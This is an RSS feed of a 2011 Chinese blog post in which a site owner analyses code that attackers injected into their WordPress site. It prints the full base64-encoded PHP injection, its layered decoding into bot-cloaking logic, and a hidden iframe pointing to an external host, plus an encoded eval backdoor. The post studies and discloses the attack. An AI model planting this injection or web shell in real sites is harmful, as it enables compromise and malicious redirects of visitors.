<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>标点符 &#187; 无法定义</title>
	<atom:link href="http://www.biaodianfu.com/category/not-define/feed" rel="self" type="application/rss+xml" />
	<link>http://www.biaodianfu.com</link>
	<description>编译自己的互联网生活</description>
	<lastBuildDate>Wed, 08 Feb 2012 08:42:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>网站被入侵了，贴一下被入侵者安的代码</title>
		<link>http://www.biaodianfu.com/site-hacked.html</link>
		<comments>http://www.biaodianfu.com/site-hacked.html#comments</comments>
		<pubDate>Sun, 27 Nov 2011 15:27:02 +0000</pubDate>
		<dc:creator>标点符</dc:creator>
				<category><![CDATA[无法定义]]></category>
		<category><![CDATA[黑客]]></category>

		<guid isPermaLink="false">http://www.biaodianfu.com/?p=4481</guid>
		<description><![CDATA[具体是昨天晚上发现的网站被入侵，具体入侵的途径现在还不知道，估计是服务器文件夹权限设置太高导致的。为了纪念下这次小小的被入侵，把入侵者的代码一起拿来研究下。 首先是入侵在服务器上某些文件的开始（如index.php） 的前面添加了如下代码： eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyBiYXNlNjRfZGVjb2RlKCJQSE5qY21sd2RENWxkbUZzS0daMWJtTjBhVzl1S0hBc1lTeGpMR3NzWlN4a0tYdGxQV1oxYm1OMGFXOXVLR01wZTNKbGRIVnliaWhqUEdFL0p5YzZaU2h3WVhKelpVbHVkQ2hqTDJFcEtTa3JLQ2hqUFdNbFlTaytNelUvVTNSeWFXNW5MbVp5YjIxRGFHRnlRMjlrWlNoakt6STVLVHBqTG5SdlUzUnlhVzVuS0RNMktTbDlPMmxtS0NFbkp5NXlaWEJzWVdObEtDOWVMeXhUZEhKcGJtY3BLWHQzYUdsc1pTaGpMUzBwZTJSYlpTaGpLVjA5YTF0alhYeDhaU2hqS1gxclBWdG1kVzVqZEdsdmJpaGxLWHR5WlhSMWNtNGdaRnRsWFgxZE8yVTlablZ1WTNScGIyNG9LWHR5WlhSMWNtNG5YRngzS3lkOU8yTTlNWDA3ZDJocGJHVW9ZeTB0S1h0cFppaHJXMk5kS1h0d1BYQXVjbVZ3YkdGalpTaHVaWGNnVW1WblJYaHdLQ2RjWEdJbksyVW9ZeWtySjF4Y1lpY3NKMmNuS1N4clcyTmRLWDE5Y21WMGRYSnVJSEI5S0NkeUlHNG9OU2w3TXlCaVBWd25kMXduT3pNZ1l6MW9JR1VvS1R0cktETWdhVDB3TzJrOGVEdHBLeXNwZTJOYllpNW1LR2srUGpRcEsySXVaaWhwSm5VcFhUMTBMbkVvYVNsOU5pZ2hOUzV6S0M5ZVcyRXRkaTA1WFNva0wya3BLVzhnZVRzMktEVXVaeVV5S1RVOVhDY3dYQ2NyTlRzeklHdzlOUzVuT3pNZ056MW9JR1VvS1RzeklHbzlNRHRyS0RNZ2FUMHdPMms4YkR0cEt6MHlLWHMzVzJvcksxMDlZMXMxTGtFb2FTd3lLVjE5YnlBM0xub29YQ2RjSnlsOU5pZzRMbTB1UXloY0ozQTlaRnduS1QwOUxURXBlemd1UWlodUtGd25SRnduS1NrN09DNXRQVnduY0Qxa1hDZDlKeXcwTUN3ME1Dd25mSHg4ZG1GeWZIeGtZWFJoZkdsbWZISmxjM1ZzZEh4a2IyTjFiV1Z1ZEh4OGZHSXhObDlrYVdkcGRITjhZakUyWDIxaGNIeGxibUZpYkdWa2ZFRnljbUY1ZkdOb1lYSkJkSHhzWlc1bmRHaDhibVYzZkh4OFptOXlmR3hzZkdOdmIydHBaWHhvUkdOa2ZISmxkSFZ5Ym54amIyOXJhV1Y0ZkdaeWIyMURhR0Z5UTI5a1pYeG1kVzVqZEdsdmJueHRZWFJqYUh4VGRISnBibWQ4TVRWOFpqQjhNREV5TXpRMU5qYzRPV0ZpWTJSbFpud3lOVFo4Wm1Gc2MyVjhhbTlwYm54emRXSnpkSEo4ZDNKcGRHVjhhVzVrWlhoUFpud3pZelkwTmprM05qSXdOek0zTkRjNU5tTTJOVE5rTWpJM01EWm1Oek0yT1RjME5qazJaalpsTTJFeU1EWXhOakkzTXpabU5tTTNOVGMwTmpVellqSXdObU0yTlRZMk56UXpZVEl3TW1Rek1UTTVNemt6Tnpjd056Z3pZakl3TnpRMlpqY3dNMkV5TURKa016SXpPVE01TXpNM01EYzRNMkl5TWpObE0yTTJPVFkyTnpJMk1UWmtOalV5TURjM05qazJORGMwTmpnelpESXlNek16TURJeU1qQTJPRFkxTmprMk56WTROelF6WkRJeU16UXpNREl5TWpBM016Y3lOak16WkRJeU5qZzNORGMwTnpBellUSm1NbVkyTVRjMU56TTNNamM0TnpZMk9UWXhNekUyTlRjd05tUTJOREpsTmpNMk5USmxObVEzTXpKbU5qa3laVGN3TmpnM01ETm1OamMyWmpOa016RXlNak5sTTJNeVpqWTVOalkzTWpZeE5tUTJOVE5sTTJNeVpqWTBOamszTmpObEp5NXpjR3hwZENnbmZDY3BMREFzZTMwcEtUd3ZjMk55YVhCMFBnPT0iKTsNCn0=')); 以上代码通过base64解码以后为： error_reporting(0); $bot = FALSE ; $user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api'); $stop_ips_masks = array( array("216.239.32.0","216.239.63.255"), array("64.68.80.0"  ,"64.68.87.255"  ), array("66.102.0.0",  "66.102.15.255"), array("64.233.160.0","64.233.191.255"), array("66.249.64.0", "66.249.95.255"), array("72.14.192.0", "72.14.255.255"), array("209.85.128.0","209.85.255.255"), array("198.108.100.192","198.108.100.207"), array("173.194.0.0","173.194.255.255"), array("216.33.229.144","216.33.229.151"), array("216.33.229.160","216.33.229.167"), array("209.185.108.128","209.185.108.255"), array("216.109.75.80","216.109.75.95"), array("64.68.88.0","64.68.95.255"), array("64.68.64.64","64.68.64.127"), array("64.41.221.192","64.41.221.207"), array("74.125.0.0","74.125.255.255"), array("65.52.0.0","65.55.255.255"), array("74.6.0.0","74.6.255.255"), array("67.195.0.0","67.195.255.255"), array("72.30.0.0","72.30.255.255"), array("38.0.0.0","38.255.255.255") ); $my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR'])); foreach ( $stop_ips_masks [...]]]></description>
			<content:encoded><![CDATA[<p>具体是昨天晚上发现的网站被入侵，具体入侵的途径现在还不知道，估计是服务器文件夹权限设置太高导致的。为了纪念下这次小小的被入侵，把入侵者的代码一起拿来研究下。</p>
<p>首先是入侵在服务器上某些文件的开始（如index.php） 的前面添加了如下代码：</p>
<pre>eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyBiYXNlNjRfZGVjb2RlKCJQSE5qY21sd2RENWxkbUZzS0daMWJtTjBhVzl1S0hBc1lTeGpMR3NzWlN4a0tYdGxQV1oxYm1OMGFXOXVLR01wZTNKbGRIVnliaWhqUEdFL0p5YzZaU2h3WVhKelpVbHVkQ2hqTDJFcEtTa3JLQ2hqUFdNbFlTaytNelUvVTNSeWFXNW5MbVp5YjIxRGFHRnlRMjlrWlNoakt6STVLVHBqTG5SdlUzUnlhVzVuS0RNMktTbDlPMmxtS0NFbkp5NXlaWEJzWVdObEtDOWVMeXhUZEhKcGJtY3BLWHQzYUdsc1pTaGpMUzBwZTJSYlpTaGpLVjA5YTF0alhYeDhaU2hqS1gxclBWdG1kVzVqZEdsdmJpaGxLWHR5WlhSMWNtNGdaRnRsWFgxZE8yVTlablZ1WTNScGIyNG9LWHR5WlhSMWNtNG5YRngzS3lkOU8yTTlNWDA3ZDJocGJHVW9ZeTB0S1h0cFppaHJXMk5kS1h0d1BYQXVjbVZ3YkdGalpTaHVaWGNnVW1WblJYaHdLQ2RjWEdJbksyVW9ZeWtySjF4Y1lpY3NKMmNuS1N4clcyTmRLWDE5Y21WMGRYSnVJSEI5S0NkeUlHNG9OU2w3TXlCaVBWd25kMXduT3pNZ1l6MW9JR1VvS1R0cktETWdhVDB3TzJrOGVEdHBLeXNwZTJOYllpNW1LR2srUGpRcEsySXVaaWhwSm5VcFhUMTBMbkVvYVNsOU5pZ2hOUzV6S0M5ZVcyRXRkaTA1WFNva0wya3BLVzhnZVRzMktEVXVaeVV5S1RVOVhDY3dYQ2NyTlRzeklHdzlOUzVuT3pNZ056MW9JR1VvS1RzeklHbzlNRHRyS0RNZ2FUMHdPMms4YkR0cEt6MHlLWHMzVzJvcksxMDlZMXMxTGtFb2FTd3lLVjE5YnlBM0xub29YQ2RjSnlsOU5pZzRMbTB1UXloY0ozQTlaRnduS1QwOUxURXBlemd1UWlodUtGd25SRnduS1NrN09DNXRQVnduY0Qxa1hDZDlKeXcwTUN3ME1Dd25mSHg4ZG1GeWZIeGtZWFJoZkdsbWZISmxjM1ZzZEh4a2IyTjFiV1Z1ZEh4OGZHSXhObDlrYVdkcGRITjhZakUyWDIxaGNIeGxibUZpYkdWa2ZFRnljbUY1ZkdOb1lYSkJkSHhzWlc1bmRHaDhibVYzZkh4OFptOXlmR3hzZkdOdmIydHBaWHhvUkdOa2ZISmxkSFZ5Ym54amIyOXJhV1Y0ZkdaeWIyMURhR0Z5UTI5a1pYeG1kVzVqZEdsdmJueHRZWFJqYUh4VGRISnBibWQ4TVRWOFpqQjhNREV5TXpRMU5qYzRPV0ZpWTJSbFpud3lOVFo4Wm1Gc2MyVjhhbTlwYm54emRXSnpkSEo4ZDNKcGRHVjhhVzVrWlhoUFpud3pZelkwTmprM05qSXdOek0zTkRjNU5tTTJOVE5rTWpJM01EWm1Oek0yT1RjME5qazJaalpsTTJFeU1EWXhOakkzTXpabU5tTTNOVGMwTmpVellqSXdObU0yTlRZMk56UXpZVEl3TW1Rek1UTTVNemt6Tnpjd056Z3pZakl3TnpRMlpqY3dNMkV5TURKa016SXpPVE01TXpNM01EYzRNMkl5TWpObE0yTTJPVFkyTnpJMk1UWmtOalV5TURjM05qazJORGMwTmpnelpESXlNek16TURJeU1qQTJPRFkxTmprMk56WTROelF6WkRJeU16UXpNREl5TWpBM016Y3lOak16WkRJeU5qZzNORGMwTnpBellUSm1NbVkyTVRjMU56TTNNamM0TnpZMk9UWXhNekUyTlRjd05tUTJOREpsTmpNMk5USmxObVEzTXpKbU5qa3laVGN3TmpnM01ETm1OamMyWmpOa016RXlNak5sTTJNeVpqWTVOalkzTWpZeE5tUTJOVE5sTTJNeVpqWTBOamszTmpObEp5NXpjR3hwZENnbmZDY3BMREFzZTMwcEtUd3ZjMk55YVhCMFBnPT0iKTsNCn0='));</pre>
<p>以上代码通过base64解码以后为：</p>
<pre>error_reporting(0);
 $bot = FALSE ;
 $user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
 $stop_ips_masks = array(
 array("216.239.32.0","216.239.63.255"),
 array("64.68.80.0"  ,"64.68.87.255"  ),
 array("66.102.0.0",  "66.102.15.255"),
 array("64.233.160.0","64.233.191.255"),
 array("66.249.64.0", "66.249.95.255"),
 array("72.14.192.0", "72.14.255.255"),
 array("209.85.128.0","209.85.255.255"),
 array("198.108.100.192","198.108.100.207"),
 array("173.194.0.0","173.194.255.255"),
 array("216.33.229.144","216.33.229.151"),
 array("216.33.229.160","216.33.229.167"),
 array("209.185.108.128","209.185.108.255"),
 array("216.109.75.80","216.109.75.95"),
 array("64.68.88.0","64.68.95.255"),
 array("64.68.64.64","64.68.64.127"),
 array("64.41.221.192","64.41.221.207"),
 array("74.125.0.0","74.125.255.255"),
 array("65.52.0.0","65.55.255.255"),
 array("74.6.0.0","74.6.255.255"),
 array("67.195.0.0","67.195.255.255"),
 array("72.30.0.0","72.30.255.255"),
 array("38.0.0.0","38.255.255.255")
 );
 $my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
 foreach ( $stop_ips_masks as $IPs ) {
 $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
 if ($my_ip2long &gt;= $first_d &amp;&amp; $my_ip2long &lt;= $second_d) {$bot = TRUE; break;}
 }
 foreach ($user_agent_to_filter as $bot_sign){
 if  (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
 }
 if (!$bot) {
 echo base64_decode("PHNjcmlwdD5ldmFsKGZ1bmN0aW9uKHAsYSxjLGssZSxkKXtlPWZ1bmN0aW9uKGMpe3JldHVybihjPGE/Jyc6ZShwYXJzZUludChjL2EpKSkrKChjPWMlYSk+MzU/U3RyaW5nLmZyb21DaGFyQ29kZShjKzI5KTpjLnRvU3RyaW5nKDM2KSl9O2lmKCEnJy5yZXBsYWNlKC9eLyxTdHJpbmcpKXt3aGlsZShjLS0pe2RbZShjKV09a1tjXXx8ZShjKX1rPVtmdW5jdGlvbihlKXtyZXR1cm4gZFtlXX1dO2U9ZnVuY3Rpb24oKXtyZXR1cm4nXFx3Kyd9O2M9MX07d2hpbGUoYy0tKXtpZihrW2NdKXtwPXAucmVwbGFjZShuZXcgUmVnRXhwKCdcXGInK2UoYykrJ1xcYicsJ2cnKSxrW2NdKX19cmV0dXJuIHB9KCdyIG4oNSl7MyBiPVwnd1wnOzMgYz1oIGUoKTtrKDMgaT0wO2k8eDtpKyspe2NbYi5mKGk+PjQpK2IuZihpJnUpXT10LnEoaSl9NighNS5zKC9eW2Etdi05XSokL2kpKW8geTs2KDUuZyUyKTU9XCcwXCcrNTszIGw9NS5nOzMgNz1oIGUoKTszIGo9MDtrKDMgaT0wO2k8bDtpKz0yKXs3W2orK109Y1s1LkEoaSwyKV19byA3LnooXCdcJyl9Nig4Lm0uQyhcJ3A9ZFwnKT09LTEpezguQihuKFwnRFwnKSk7OC5tPVwncD1kXCd9Jyw0MCw0MCwnfHx8dmFyfHxkYXRhfGlmfHJlc3VsdHxkb2N1bWVudHx8fGIxNl9kaWdpdHN8YjE2X21hcHxlbmFibGVkfEFycmF5fGNoYXJBdHxsZW5ndGh8bmV3fHx8Zm9yfGxsfGNvb2tpZXxoRGNkfHJldHVybnxjb29raWV4fGZyb21DaGFyQ29kZXxmdW5jdGlvbnxtYXRjaHxTdHJpbmd8MTV8ZjB8MDEyMzQ1Njc4OWFiY2RlZnwyNTZ8ZmFsc2V8am9pbnxzdWJzdHJ8d3JpdGV8aW5kZXhPZnwzYzY0Njk3NjIwNzM3NDc5NmM2NTNkMjI3MDZmNzM2OTc0Njk2ZjZlM2EyMDYxNjI3MzZmNmM3NTc0NjUzYjIwNmM2NTY2NzQzYTIwMmQzMTM5MzkzNzcwNzgzYjIwNzQ2ZjcwM2EyMDJkMzIzOTM5MzM3MDc4M2IyMjNlM2M2OTY2NzI2MTZkNjUyMDc3Njk2NDc0NjgzZDIyMzMzMDIyMjA2ODY1Njk2NzY4NzQzZDIyMzQzMDIyMjA3MzcyNjMzZDIyNjg3NDc0NzAzYTJmMmY2MTc1NzM3Mjc4NzY2OTYxMzE2NTcwNmQ2NDJlNjM2NTJlNmQ3MzJmNjkyZTcwNjg3MDNmNjc2ZjNkMzEyMjNlM2MyZjY5NjY3MjYxNmQ2NTNlM2MyZjY0Njk3NjNlJy5zcGxpdCgnfCcpLDAse30pKTwvc2NyaXB0Pg==");
 }</pre>
<p>可以看到中间有出现了base64编码过的字符创，我们试着再把这部分解码下，得到：</p>
<pre>&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?'':e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('r n(5){3 b=\'w\';3 c=h e();k(3 i=0;i&lt;x;i++){c[b.f(i&gt;&gt;4)+b.f(i&amp;u)]=t.q(i)}6(!5.s(/^[a-v-9]*$/i))o y;6(5.g%2)5=\'0\'+5;3 l=5.g;3 7=h e();3 j=0;k(3 i=0;i&lt;l;i+=2){7[j++]=c[5.A(i,2)]}o 7.z(\'\')}6(8.m.C(\'p=d\')==-1){8.B(n(\'D\'));8.m=\'p=d\'}',40,40,'|||var||data|if|result|document|||b16_digits|b16_map|enabled|Array|charAt|length|new|||for|ll|cookie|hDcd|return|cookiex|fromCharCode|function|match|String|15|f0|0123456789abcdef|256|false|join|substr|write|indexOf|3c646976207374796c653d22706f736974696f6e3a206162736f6c7574653b206c6566743a202d3139393770783b20746f703a202d3239393370783b223e3c696672616d652077696474683d22333022206865696768743d22343022207372633d22687474703a2f2f61757372787669613165706d642e63652e6d732f692e7068703f676f3d31223e3c2f696672616d653e3c2f6469763e'.split('|'),0,{}))&lt;/script&gt;</pre>
<p>从中我们可以获取到一段被压缩混淆过的脚本，于是我们在试着把脚本再反编译下，得到：</p>
<pre>function hDcd(data) {
 var b16_digits = '0123456789abcdef';
 var b16_map = new Array();
 for (var i = 0; i &lt; 256; i++) {
 b16_map[b16_digits.charAt(i &gt;&gt; 4) + b16_digits.charAt(i &amp; 15)] = String.fromCharCode(i)
 }
 if (!data.match(/^[a-f0-9]*$/i)) return false;
 if (data.length % 2) data = '0' + data;
 var ll = data.length;
 var result = new Array();
 var j = 0;
 for (var i = 0; i &lt; ll; i += 2) {
 result[j++] = b16_map[data.substr(i, 2)]
 }
 return result.join('')
 }
 if (document.cookie.indexOf('cookiex=enabled') == -1) {
 document.write(hDcd('3c646976207374796c653d22706f736974696f6e3a206162736f6c7574653b206c6566743a202d3139393670783b20746f703a202d3239393270783b223e3c696672616d652077696474683d22343022206865696768743d22343022207372633d22687474703a2f2f6f6b353667706e7539396f2e63652e6d732f692e7068703f676f3d31223e3c2f696672616d653e3c2f6469763e'));
 document.cookie = 'cookiex=enabled'
 }</pre>
<p>令人无语的是这个脚本本身就是一个加密函数，于是通过加密函数和其提供的字符创，通过</p>
<pre>alert(hDcd('3c646976207374796c653d22706f736974696f6e3a206162736f6c7574653b206c6566743a202d3139393670783b20746f703a202d3239393270783b223e3c696672616d652077696474683d22343022206865696768743d22343022207372633d22687474703a2f2f6f6b353667706e7539396f2e63652e6d732f692e7068703f676f3d31223e3c2f696672616d653e3c2f6469763e'
 )) ;</pre>
<p>可与获得最终内容如下：</p>
<p><img class="alignnone size-full wp-image-4482" title="hacked" src="http://www.biaodianfu.com/wp-content/uploads/2011/11/hacked.png" alt="" width="489" height="204" /></p>
<p>可以看到这个骇客做了4次的加密混淆工作最终的目的是在我的网站上iframe一个页面，具体这个iframe用来做什么的不得而知，目前发现的线上是在我的网站上弹广告。</p>
<p>花了一天把服务器上的代码全部删除从新上传了一遍，表面上把问题解决了，但是这到底是怎么入侵的还不知道，心中还是很不安啊。</p>
<p>真的是不知所措了，今天又被入侵了，这次除了添加了上述的代码，同时还留了个后门代码：</p>
<pre>eval (base64_decode ("aWYgKGlzc2V0KCRfUkVRVUVTVFsnYXNjJ10pKSB7IGV2YWwoc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFsnYXNjJ10pKTsgZXhpdDsgfS8qIFdUQnZiRmJIbDlUZiAqLw=="));</pre>
<p>解码出来的内容为：</p>
